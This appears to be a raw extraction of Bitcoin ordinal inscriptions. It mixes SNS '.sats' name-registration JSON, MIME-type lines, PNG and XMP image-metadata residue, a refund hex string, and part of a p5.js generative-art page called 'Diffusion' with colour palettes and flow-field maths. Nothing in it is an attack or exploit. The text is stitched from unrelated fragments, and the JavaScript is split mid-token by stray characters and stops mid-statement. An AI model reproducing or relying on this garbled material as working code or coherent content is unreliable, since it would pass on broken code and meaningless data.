text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"trey.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"milo.sats"}h!
text/plain;charset=utf-8
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"lance.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"dusty.sats"}h!
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"lars.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"noel.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"ernest.sats"}h!
text/plain;charset=utf-8
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
text/plain;charset=utf-8
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"jace.sats"}h!
text/plain;charset=utf-8
  "name": "shengge.sats"
text/plain;charset=utf-8
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"hans.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"kris.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"norman.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"joss.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"blair.sats"}h!
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
text/plain;charset=utf-8
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"judd.sats"}h!
text/plain;charset=utf-8
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
text/plain;charset=utf-8
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"nash.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.164648, 2021/01/12-15:52:29        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginM
alDocumentID="xmp.did:0043d78d-c5d4-a44a-b0bd-9ac08349d54b" xmpMM:DocumentID="xmp.did:C32D1578B77D11ED9499AAA24F81CD27" xmpMM:InstanceID="xmp.iid:C32D1577B77D11ED9499AAA24F81CD27" xmp:CreatorTool="Adobe Photoshop 22.2 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:372aa776-b694-bd48-9393-ef853a5ca379" stRef:documentID="adobe:docid:photoshop:880668d8-3a35-f749-9113-cc56372feb66"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
text/plain;charset=utf-8
text/plain;charset=utf-8
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
text/plain;charset=utf-8
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"walt.sats"}h!
text/plain;charset=utf-8
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"vern.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"julius.sats"}h!
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"jedd.sats"}h!
text/plain;charset=utf-8
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
text/plain;charset=utf-8
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
text/plain;charset=utf-8
  "name": "0809.sats"
text/plain;charset=utf-8
  "name": "mert.sats"
IjGREFUND:8B735468CFF90A0EA3A9D966F4BA46E5E76F11B1FF0111AA1CA3B23E634C9FBB
text/plain;charset=utf-8
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"lso.sats"}h!
text/plain;charset=utf-8
  "name": "aij.sats"
text/plain;charset=utf-8
  "name": "aif.sats"
text/plain;charset=utf-8
  "name": "aie.sats"
text/plain;charset=utf-8
  "name": "aih.sats"
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/html;charset=utf-8
    <meta charset="UTF-8">
    <meta http-equiv="Content-Security-Policy" content="default-src *; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval' http://cdnjs.cloudflare.com">
    <title>Diffusion</title>
    <script sandbox="allow-scripts" type="text/javascript"
        src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script>
    <script sandbox="allow-scripts" type="text/javascript"
        src="https://cdnjs.cloudflareM
.com/ajax/libs/mathjs/11.5.1/math.min.js"></script>
    <script sandbox="allow-scripts" type="text/javascript"
        src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script>
    <script type="text/javascript">
        var eigenvector_maj,eigenvector_min,flowcolorfield,cols,rows,colAlg,integral_lines=[];let center;var scl=10,inc=.06,zoff=0;let w,h,wdt,margin=10,cells=[],dsep=3,xx,yy,dt=.5,t,strk,palette1=[["#ce2d42","#082880","#7462f9","#f4b53f","#123676","#9c223d","#e6c7b4"],M
["#f43b79","#1136ed","#6b43dd","#ef9029","#4aa4ae","#69239b","#f7f1b4"],["#7fefe4","#be3edd","#70cfe5","#f2c666","#e6c7b4","#583fc4","#fff57d"],["#80aded","#7b66f7","#658fdb","#f2e18b","#f7f1b4","#773caa","#f4b537"],["#a5e2f2","#a783ed","#61c1db","#f7c872","#6eabf4","#6d52dd","#ff7db2"],["#d8d8d8","#898de0","#89afe5","#f9e78f","#85b2e8","#8110e5","#bf2b6e"],["#7094fc","#643ac9","#306bef","#9100dd","#e6c7b4","#e2396d","#ef3a65"],["#80aded","#a28fef","#4688e8","#db003a","#f7f1b4","#d632a4","#bc174e"],["#594499","#db3M
e3e","#25ceb2","#02827b","#a0a09f","#56661d","#34067c"],["#425999","#bc3f3f","#9fe2cc","#108fc1","#d37676","#132691","#5b3c96"],["#ffeda1","#91205c","#2929e2","#9509b7","#70b9c0","#5474e8","#d30b8c"],["#f9cfc7","#721b74","#1c70ea","#7c1d93","#919bdb","#5574ce","#f25c87"],["#f25a7b","#e960af","#992843","#8b52f7","#6eabf4","#3714a1","#445b96"],["#ff399c","#e73250","#d32f53","#33bbff","#7de7ff","#69239b","#8041f9"],["#6f6674","#34a0a5","#992843","#f98450","#6eabf4","#3714a1","#445b96"],["#4d82aa","#24c6c6","#d32f53","M
#f973a0","#7de7ff","#69239b","#8041f9"],["#ff6d40","#361ee0","#992843","#e6c7b4","#9370f2","#3714a1","#445b96"],["#e6372f","#3a338e","#d32f53","#f7f1b4","#8092ff","#69239b","#8041f9"],["#ffa943","#2177f4","#35fc93","#f9cfd2","#6eabf4","#3714a1","#445b96"],["#ffce45","#2f7083","#5affdf","#fcf4b7","#7de7ff","#69239b","#8041f9"],["#41d9f2","#528cd1","#3a6eba","#5f64c1","#4a97f4","#7426bf","#f7d52f"],["#71f2ff","#249cff","#63a1ea","#7f88db","#56a6f4","#7f0caf","#f7b643"],["#41d9f2","#51fcbb","#d3057b","#295cff","#7d22fM
f","#51d7e5","#e6c7b4"],["#71f2ff","#81fcca","#f91cb0","#0239c1","#8450d6","#05bdc6","#f7f1b4"],["#43bbef","#53f9e4","#bf2640","#5082ff","#8648ff","#36ffcf","#881ed3"],["#6bcced","#fce586","#f93ebb","#52a1ff","#8e51a8","#05bdc6","#ff0895"],["#a745ed","#fcbbbb","#f20a41","#ffd252","#0606bf","#ff459e","#881ed3"],["#7b19d1","#a7d0f9","#ba0f40","#fcd5bb","#4545ce","#9666ff","#ff0895"],["#31a4dd","#6f3bff","#f20a41","#4470a5","#7171f4","#e710f9","#2e92ff"],["#ffffab","#8e7de2","#ba0f40","#9312b2","#85b5f9","#830591","#0M
34a7f"],["#06a0ba","#6f3bff","#f20a41","#8777f7","#4848c1","#6b11f7","#e6c7b4"],["#2bc5cc","#8e7de2","#ba0f40","#6155bf","#4b4bf7","#a318b7","#f7f1b4"],["#06a0ba","#6f3bff","#8473ff","#fce875","#4848c1","#ffb3c9","#2e92ff"],["#2bc5cc","#8e7de2","#9e61ba","#ffd2c7","#0f0fce","#f7e579","#034a7f"],["#c10839","#6f3bff","#ff06a6","#f2a5bb","#4848c1","#117ff7","#579ef2"],["#a20dd3","#8e7de2","#aa08ff","#f2ec79","#0f0fce","#a60abc","#1b64ce"],["#06a0ba","#6f3bff","#fca660","#f7f377","#9149bf","#f71165","#31f0ff"],["#2bc5cM
c","#8e7de2","#dd582a","#ffe09c","#630ca8","#a8275c","#04717c"],["#e041b3","#3e71ff","#ffec64","#77c1f7","#9149bf","#f71165","#e6c7b4"],["#f95089","#8e7de2","#f99175","#1d6bdd","#630ca8","#a8275c","#f7f1b4"],["#f4d334","#0636cc","#8989ef","#e6c7b4","#8005e0","#fc68a4","#3386ff"],["#fc889e","#3b72a3","#2d5cc4","#f7f1b4","#f938cb","#d61a1a","#04717c"],["#f4d334","#3ef6ff","#5347f4","#b877f7","#9149bf","#f71165","#e6c7b4"],["#fc889e","#1fb2b2","#2d5cc4","#6e1ed6","#630ca8","#a8275c","#f7f1b4"],["#f4d334","#3ef6ff","#5M
347f4","#f7f777","#9149bf","#ef5090","#e6c7b4"],["#fc889e","#1fb2b2","#2d5cc4","#ffce88","#630ca8","#ba0457","#f7f1b4"],["#f4d334","#3ef6ff","#5347f4","#77c4f7","#9149bf","#f71165","#854fba"],["#fc889e","#1fb2b2","#2d5cc4","#2187bf","#630ca8","#a8275c","#e783ea"],["#f4d334","#3ef6ff","#f97575","#f4dc78","#9149bf","#f71165","#e6c7b4"],["#fc889e","#1fb2b2","#cc2929","#f28b79","#630ca8","#a8275c","#f7f1b4"],["#f4d334","#3ef6ff","#f97575","#f279ab","#9149bf","#645eea","#e6c7b4"],["#fc889e","#52adff","#cc2929","#e81073"M
,"#630ca8","#3a3acc","#f7f1b4"],["#3ac9d8","#6f3bff","#44acf2","#fce875","#bf23f9","#ffb3c9","#2e92ff"],["#44acf2","#8e7de2","#6cffff","#ffd2c7","#9449ce","#f7e579","#034a7f"],["#06a0ba","#6f3bff","#fc4c7e","#f9b175","#6c6ce5","#8f58f9","#e6c7b4"],["#2bc5cc","#8e7de2","#cf4ef9","#f7df77","#4949c1","#a915ff","#f7f1b4"],["#ef01c4","#065ca8","#1c00ba","#ffee94","#c053ba","#8f58f9","#4ea8f9"],["#a60160","#30bec3","#5e52db","#ffebae","#da55f2","#a915ff","#4febf7"],["#f44260","#3c5ba0","#845ecc","#f4b53f","#3d9fc1","#9c2M
23d","#e6c7b4"],["#f43b79","#4058ad","#6c3ca5","#ef9029","#317ec4","#69239b","#f7f1b4"],["#f44260","#3c5ba0","#7070e8","#f27740","#3d9fc1","#d34040","#e6c7b4"],["#f43b79","#4058ad","#4d4dc1","#ef9029","#317ec4","#ed5487","#f7f1b4"],["#f244ee","#5c75c6","#7070e8","#3cd3b6","#3d9fc1","#d34040","#e6c7b4"],["#f43b79","#637cc1","#4d4dc1","#1cb7b7","#317ec4","#ed5487","#f7f1b4"],["#e5491f","#2058d3","#7462f9","#40f2d0","#123676","#9c223d","#e6c7b4"],["#ef973f","#177199","#6b43dd","#15abba","#4aa4ae","#69239b","#f7f1b4"],M
["#e22079","#2058d3","#7462f9","#40f2d0","#5a92e5","#9c223d","#e6c7b4"],["#f21c59","#177199","#6b43dd","#15abba","#4658f9","#69239b","#f7f1b4"],["#e22079","#2058d3","#e6c7b4","#40f2d0","#5a92e5","#ba4564","#edf28b"],["#f21c59","#177199","#f7f1b4","#15abba","#4658f9","#e5336a","#43f7c8"],["#e22079","#4b80e0","#e6c7b4","#41a9ef","#5a92e5","#bc0d8b","#f7adf7"],["#f21c59","#197abc","#f7f1b4","#36a9cc","#4658f9","#d3057f","#43f7c8"],["#e22079","#4b80e0","#e6c7b4","#435ced","#e2b55a","#ea397d","#f4e2ae"],["#f21c59","#197M
abc","#f7f1b4","#7f63f7","#f98562","#e84b3a","#e9f49f"],["#0850b7","#6771f9","#8213bc","#75f9e0","#4848c1","#ffb3c9","#2e92ff"],["#3081e2","#5285dd","#9604af","#15abba","#0f0fce","#f7e579","#034a7f"],["#d80e3e","#6771f9","#8213bc","#f7ad77","#4848c1","#ffb3c9","#31b5ff"],["#ef4878","#5285dd","#9604af","#f4cb78","#0f0fce","#f7e579","#2a76d1"],["#f98246","#69acf7","#8213bc","#f7ad77","#4848c1","#ffb3c9","#31b5ff"],["#ed7d4a","#5285dd","#b529d3","#f4cb78","#0f0fce","#f7e579","#2a76d1"],["#f7cd48","#69d6f4","#8213bc","M
#f7ad77","#7649bf","#ffb3c9","#e6c7b4"],["#f49090","#21b5d8","#b529d3","#f4cb78","#5829b2","#f7e579","#f7f1b4"],["#4a82f4","#f22a51","#8213bc","#f7ad77","#905df4","#ffb3c9","#0c85ba"],["#4cb2f2","#b72c4e","#b529d3","#f4cb78","#542ad3","#f7e579","#096889"],["#4a82f4","#f22a51","#1522ba","#f7ad77","#d32fc0","#b6fffa","#0c85ba"],["#4cb2f2","#b72c4e","#483d9b","#f4cb78","#e50a6e","#f1ffb8","#096889"],["#4a82f4","#f22a51","#4b23db","#f7ad77","#d1304b","#5b99f4","#1dbcb4"],["#4cb2f2","#b72c4e","#694eea","#f4cb78","#d6166M
0","#5cd3f2","#096889"],["#ad4cf2","#f22a51","#8213bc","#f478b0","#5ff2f2","#ffb3c9","#0c85ba"],["#8b05e2","#b72c4e","#b529d3","#f4cb78","#3ea6b7","#f7e579","#096889"],["#584def","#f22a51","#a52cdd","#f2c679","#60caef","#d2b6ff","#0d53b7"],["#4f24c6","#b72c4e","#b529d3","#efaa7b","#3ea6b7","#f7e579","#458bdd"],["#584def","#ef592b","#2cdbc1","#f2c679","#6290ed","#b8fff1","#0d53b7"],["#4f24c6","#f27949","#2ec0d8","#efaa7b","#4067b5","#f7e579","#458bdd"],["#584def","#ed2e8a","#2eacd8","#f2c679","#6290ed","#6929ce","#0M
d53b7"],["#4f24c6","#c11670","#3070d6","#efaa7b","#4067b5","#4a4add","#458bdd"],["#584def","#ed2e8a","#2eacd8","#ef9c7b","#6290ed","#6929ce","#0d53b7"],["#4f24c6","#c11670","#3070d6","#fc583d","#4067b5","#4a4add","#458bdd"],["#b7b7b7","#0a0a0a","#ffffff","#dbdcdd","#b2b2b2","#a7a7a8","#4e4f4f"],["#d8d8d8","#636363","#dbdcdd","#b2b2b2","#4e4f4f","#e0e1e2","#3f3f3f"],["#5475f1","#ce7ca5","#b0f2da","#edded1","#80d3d8","#9fa1a6","#eafefe"],["#3155c4","#7534ad","#4597ad","#b7183b","#4058cc","#9e2a6f","#1eafab"],];functiM
on centerCanvas(){var e=(windowWidth-width)/2,f=(windowHeight-height)/2;cnv.position(e,f)}function setup(){wdt=windowWidth<windowHeight?windowWidth:windowHeight;let e=int(map(mathRand(),0,1,0,3)),f;0===e?(h=.7*(w=wdt),f="7:5"):1===e?(w=.7*(h=wdt),f="5:7"):2===e&&(w=wdt,h=wdt,f="1:1"),cnv=createCanvas(w,h),centerCanvas();pixelDensity(displayDensity()),smooth(),strokeWeight(strk=constrain((wdt/800).toFixed(1),.5,1));let l=int(1990*mathRand());noiseSeed(l),randomSeed(l),noiseDetail(2,1),strokeCap(ROUND),cols=floor(widM
th/(scl=wdt/135))+1,rows=floor(height/scl)+1,xx=floor(width/dsep),yy=floor(height/dsep),eigenvector_maj=Array(cols*rows),flowcolorfield=Array(cols*rows),eigenvector_min=Array(cols*rows),colAlg=int(random(2)),paletteIndex=int(map(random(1),0,1,0,palette1.length));let i=chroma.scale(palette1[paletteIndex]).colors(cols*rows);inc=random(.013,.036),t=range(0,10,dt);for(var c=0;c<1;c++){let s=random(width),a=random(height),_=random(width),$=random(height);integral_lines[c]=new Integral_line(s,a,"major"),integral_lines[c+M
1]=new Integral_line(_,$,"minor")}center=createVector(width/2,height/2),background(10);for(var o=0,n=0;n<rows;n++){for(var r=0,d=0;d<cols;d++){var b,p,u,x,y,g=d+n*cols,P=noise(r,o,zoff)*TAU;if(0===colAlg)b=355*noise(r/2+140,o/2+140,zoff/10),p=325*noise(r/2+40,o/2+40,zoff/10),u=355*noise(r/2+210,o/2+210,zoff/10),x=map(noise(r/2+250,o/2+250,zoff/10),0,1,165,255);else if(1===colAlg){var m=int(map(noise(r,o,zoff),0,1,0,i.length));b=chroma(i[m]).get("rgb.r"),p=chroma(i[m]).get("rgb.g"),u=chroma(i[m]).get("rgb.b"),x=map(M
noise(r/2+250,o/2+250,zoff/10),0,1,165,255)}var v=createVector(0,0);v.normalize();var j=map(d,0,cols,-width/2,width/2),B=map(n,0,rows,-height/2,height/2),k=createVector(j,B);k.normalize();let z=sqrt(pow((y=p5.Vector.fromAngle(PI/4)).x,2)+pow(y.y,2)),I=atan(y.y/y.x),A=exp(-1*pow(k.mag()-v.mag(),2))*z,C=math.matrix([[cos(2*I),sin(2*I)],[sin(2*I),-cos(2*I)]]),R=math.multiply(C,A);var K=createVector(math.eigs(R).vectors._data[0][0],math.eigs(R).vectors._data[0][1]),V=createVector(math.eigs(R).vectors._data[1][0],math.eM
igs(R).vectors._data[1][1]);K.mult(math.eigs(R).values._data[0]),V.mult(math.eigs(R).values._data[1]);let F=cos(2*I)*cos(2*I)-sin(2*I)*sin(2*I),T=[[cos(P),-sin(P)],[sin(P),cos(P)]];K.setMag(F),V.setMag(F);let M=math.multiply(T,[K.x,K.y]),G=math.multiply(T,[V.x,V.y]);eigenvector_maj[g]=createVector(M[0],M[1]),eigenvector_min[g